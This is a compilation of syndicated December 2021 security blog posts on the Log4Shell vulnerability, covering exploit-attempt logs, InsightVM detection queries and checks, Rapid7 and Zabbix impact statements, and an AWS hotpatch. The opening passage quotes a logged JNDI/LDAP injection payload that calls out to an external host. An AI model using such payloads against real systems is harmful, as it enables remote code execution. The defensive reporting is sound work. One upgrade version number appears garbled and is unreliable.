After those three attempts we saw no further activity until nine minutes after public disclosure when someone attempts to inject a ${jndi:ldap} string via a URI parameter on a gaming website.

2021-12-09 14:34:31
Parameters: redirectUrl=aaaaaaa$aadsdasad$${jndi:ldap://log4.cj.d.example.com/exp}

Conclusion

CVE-2021-44228 is being actively exploited by a large number of actors. WAFs are effective as a measure to help prevent attacks from the outside, but they are not foolproof and attackers are actively working on evasions. The potential for exfiltration of data and credentials is incredibly high and the long term risks of more devastating hacks and attacks is very real.

It is vital to mitigate and patch affected software that uses Log4j now and not wait.

Using InsightVM to Find Apache Log4j CVE-2021-44228

2021-12-14 Greg Wiseman

Post Syndicated from Greg Wiseman original https://blog.rapid7.com/2021/12/14/using-insightvm-to-find-apache-log4j-cve-2021-44228/

Using InsightVM to Find Apache Log4j CVE-2021-44228

There are many methods InsightVM can use to identify vulnerable software. Which method is best depends on the software and specific vulnerability in question, not to mention variability that comes into play with differing network topologies and Scan Engine deployment strategies. When it comes to a vulnerability like CVE-2021-44228, affecting a software library (Log4j) that is used to build other software products and may not expose its presence in an obvious way, the situation gets even more complicated. For in-depth analysis on the vulnerability and its attack surface area, see AttackerKB.

The intent of this post is to walk InsightVM and Nexpose users through how to best approach detecting exposure to Log4Shell in your environment, while providing some additional detail about how the various checks work under the hood. This post assumes you already have an operational deployment of InsightVM or Nexpose. For additional documentation on scanning for Log4j CVE-2021-44228, take a look at our docs here.

Before (or while) you scan

Even before a vulnerability check has been made available, it can be possible to get a sense of your exposure using InsightVM features such as Query Builder, or Nexpose’s Dynamic Asset Groups. Because we use generic fingerprinting techniques such as querying Linux package managers and enumerating software found in Windows Registry uninstaller keys, the software inventory for assets may include products that are not explicitly supported. Using the search predicate software.product CONTAINS log4j will show packages on Linux systems that have been installed via package managers such as rpm or dpkg.

Using InsightVM to Find Apache Log4j CVE-2021-44228

An alternative approach to this is using an SQL Query Export using the following query:

SELECT
    da.sites AS "Site_Name",
    da.ip_address AS "IP_Address",
    da.mac_address AS "MAC_Address",
    da.host_name AS "DNS_Hostname",
    ds.vendor AS "Vendor",
    ds.name AS "Software_Name",
    ds.family AS "Software_Family",
    ds.version AS "Software_Version",
    ds.software_class AS "Software_Class"
FROM
    dim_asset_software das
JOIN
    dim_software ds USING(software_id)
JOIN
    dim_asset da ON da.asset_id = das.asset_id
WHERE
    ds.software_class like'%'
  AND
    ds.name ilike '%log4j%'
ORDER BY
    ds.name ASC

Authenticated and agent-based assessments

The most reliable way to find vulnerable instances of CVE-2021-44228 on non-Windows machines as of December 13, 2021 is via our authenticated check (check ID: apache-log4j-core-cve-2021-44228), which does a complete filesystem search for JAR files matching log4j-core.*.jar. At this time, the unzip command must be available on systems in order to extract the version from the JAR’s manifest file. An upcoming release (expected December 15) will add the capability to extract the version information from the filename if available.

For the find command to run and locate vulnerable JARs, scans must be configured with root credentials (either directly or via a privilege elevation mechanism) in the Site Configuration interface. There is currently no generic JAR detection available on Windows systems.

This functionality requires product version 6.6.118 or later. For Agent-based assessments, assets must be running version 3.1.2.36 of the Insight Agent or later. Use the Agent Management interface to determine the version of the Agent being used in your environment.

Remote scanning

A remote (unauthenticated) check for CVE-2021-44228 was published in a content release on December 12 9pm ET with Check ID apache-log4j-core-cve-2021-44228-remote. This check is platform-independent (and currently the only option for Windows systems) and works as follows:

IF any of the following TCP ports are found open: 80, 443, 8080, 8888 — or, alternatively, if: Nmap service fingerprinting detects HTTP or HTTPS running (note that enabling Nmap service fingerprinting may negatively impact scan times)
THEN the Scan Engine will attempt to exploit the vulnerability and make the scan target open a connection to the Engine on port 13456.
The Engine does not open a TCP listener but does a packet capture to identify connection attempts against 13456/TCP. If a connection attempt to the Engine is detected, this indicates that the target is vulnerable, and the check will fire accordingly.
This approach relies on bi-directional networking and requires the scan engine and scan target to be able to “talk” to each other. In some cases, such as scanning through a VPN, NAT, or firewall, that required bi-directional networking is not available.

Note: We have received some reports of the remote check not being installed correctly when taking a content update. Product version 6.6.119 was released on December 13, 2021 at 6 PM EST to ensure the remote check is available and functional.

Product-based checks

We know that many downstream vendors will issue security advisories of their own in the coming days and weeks. We continue to monitor several vendors for related security advisories. We will have checks for affected products included in our recurring coverage list as vendors provide details about affected and/or fixed versions. Users can also adapt the Query Builder or SQL Export queries provided above to find products of concern in the meantime, with the caveat that they may not be visible if they use non-standard installation mechanisms.

Container security

Customers who are worried about vulnerable images in their container repos have been able to scan for CVE-2021-44228 using InsightVM’s Container Security since December 10 at 2pm ET, thanks to our integration with the Snyk vulnerability database. It is also possible to rerun an assessment on any images that are particularly sensitive to be sure of up-to-date results.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Update on Log4Shell’s Impact on Rapid7 Solutions and Systems

2021-12-14 Rapid7

Post Syndicated from Rapid7 original https://blog.rapid7.com/2021/12/14/update-on-log4shells-impact-on-rapid7-solutions-and-systems/

Update on Log4Shell’s Impact on Rapid7 Solutions and Systems

Like the rest of the security community, we have been internally responding to the critical remote code execution vulnerability in Apache’s log4j Java library (a.k.a. Log4Shell). We have been continuously monitoring for Log4Shell exploit attempts in our environment and have been urgently investigating the implications for our corporate and production systems. Log4Shell has kept the security community extremely busy for the past several days, and we are no exception. At this time, we have not detected any successful Log4Shell exploit attempts in our systems or solutions. We will continue monitoring our environment for new vulnerability instances and exploit attempts and will update this page as we learn more.

Rapid7 solutions

In terms of Rapid7’s solutions, we prioritized remediation efforts on the Insight Platform and other hosted web application products (e.g. non-Insight branded products such as Logentries). We have remediated the Log4Shell vulnerability in our deployed application services’ code. Customers do not need to take action for any of our hosted web solutions.

Customer action required

There is no action for most customers using our solutions. However, for those using on-premise solutions, the following products and product components have been patched but require customers to take action to fully remediate Log4Shell in their environments. We strongly urge all customers using vulnerable versions of these products and product components to apply updates immediately since this vulnerability is being actively exploited and could result in highly impactful remote code execution.

Product or Component	Affected Version(s)	Remediation and Mitigation Instructions
InsightOps r7insight_java logging library	Versions <= 3.0.8	Upgrade r7insight_java to 3.0.9
Logentries le_java logging library	All versions: this is a deprecated component	Migrate to version 3.0.9 of r7insight_java
Logentries DataHub	Linux version <= 1.2.0.820 Windows version <= 1.2.0.820	Linux: Install DataHub_1.2.0.822.deb using the following instructions. Windows: Run version 1.2.0.822 in a Docker container or as a Java command per these instructions. You can find more details here.
InsightOps DataHub	InsightOps DataHub <= 2.0	Upgrade DataHub to version 2.0.1 using the following instructions.

No customer action required

We have confirmed the following on-premise products and product components are not affected:

Alcide kArt, kAdvisor, and kAudit
AppSpider Pro
AppSpider Enterprise
Insight Agent
InsightIDR Network Sensor
InsightIDR/InsightOps Collector & Event Sources
InsightAppSec Scan Engine
InsightCloudSec/DivvyCloud
InsightConnect Orchestrator
InsightOps non-Java logging libraries
InsightVM Kubernetes Monitor
InsightVM/Nexpose
InsightVM/Nexpose Console
InsightVM/Nexpose Engine
IntSights virtual appliance
Metasploit Pro

Metasploit Pro ships with log4j but has specific configurations applied to it that mitigate Log4Shell. A future update will contain a fully patched version of log4j.

Metasploit Framework
tCell Java Agent
Velociraptor

Open source hotpatch for Apache Log4j vulnerability

2021-12-13 Steve Schmidt

Post Syndicated from Steve Schmidt original https://aws.amazon.com/blogs/security/open-source-hotpatch-for-apache-log4j-vulnerability/

At Amazon Web Services (AWS), security remains our top priority. As we addressed the Apache Log4j vulnerability this weekend, I’m pleased to note that our team created and released a hotpatch as an interim mitigation step. This tool may help you mitigate the risk when updating is not immediately possible.

It’s important that you review, patch, or mitigate this vulnerability as soon as possible. We still recommend that you update Log4j to version 2.15 as a mitigation, but we know that can take some time, depending on your resources. To take immediate action, we recommend that you implement this newly created tool to hotpatch your Log4j deployments. A huge thanks to the Amazon Corretto team for spending days, nights, and the weekend to write, harden, and ship this code. This tool is available now at GitHub.

Caveats

As with all open source software, you’re using this at your own risk. Note that the hotpatch has been tested with JDK8 and JDK11 on Linux. On JDK17, only the static agent mode works. A full list of caveats can be found in the README.

Want more AWS Security how-to content, news, and feature announcements? Follow us on Twitter.

Zabbix NOT AFFECTED by the Log4j exploit

2021-12-13 Arturs Lontons

Post Syndicated from Arturs Lontons original https://blog.zabbix.com/zabbix-not-affected-by-the-log4j-exploit/17873/

A newly revealed vulnerability impacting Apache Log4j 2 versions 2.0 to 2.14.1 was disclosed on GitHub on 9 December 2021 and registered as CVE-2021-44228 with the highest severity rating. Log4j is an open-source, Java-based logging utility widely used by enterprise applications and cloud services. By utilizing this vulnerability, a remote attacker could take control of the affected system.

Zabbix is aware of this vulnerability, has completed verification, and can conclude that the only product where we use Java is Zabbix Java Gateway, which does not utilize the log4j library, thereby is not impacted by this vulnerability.

For customers, who use the log4j library with other Java applications, here are some proactive measures, which they can take to reduce the risk posed by CVE-2021-44228:

Upgrade to Apache log4j-2.1.50.rc2, as all prior 2.x versions are vulnerable.
For Log4j version 2.10.0 or later, block JNDI from making requests to untrusted servers by setting the configuration value log4j2.formatMsgNoLookups to “TRUE” to prevent LDAP and other queries.
Default both com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.cosnaming.object.trustURLCodebase to “FALSE” to prevent Remote Code Execution attacks in Java 8u121.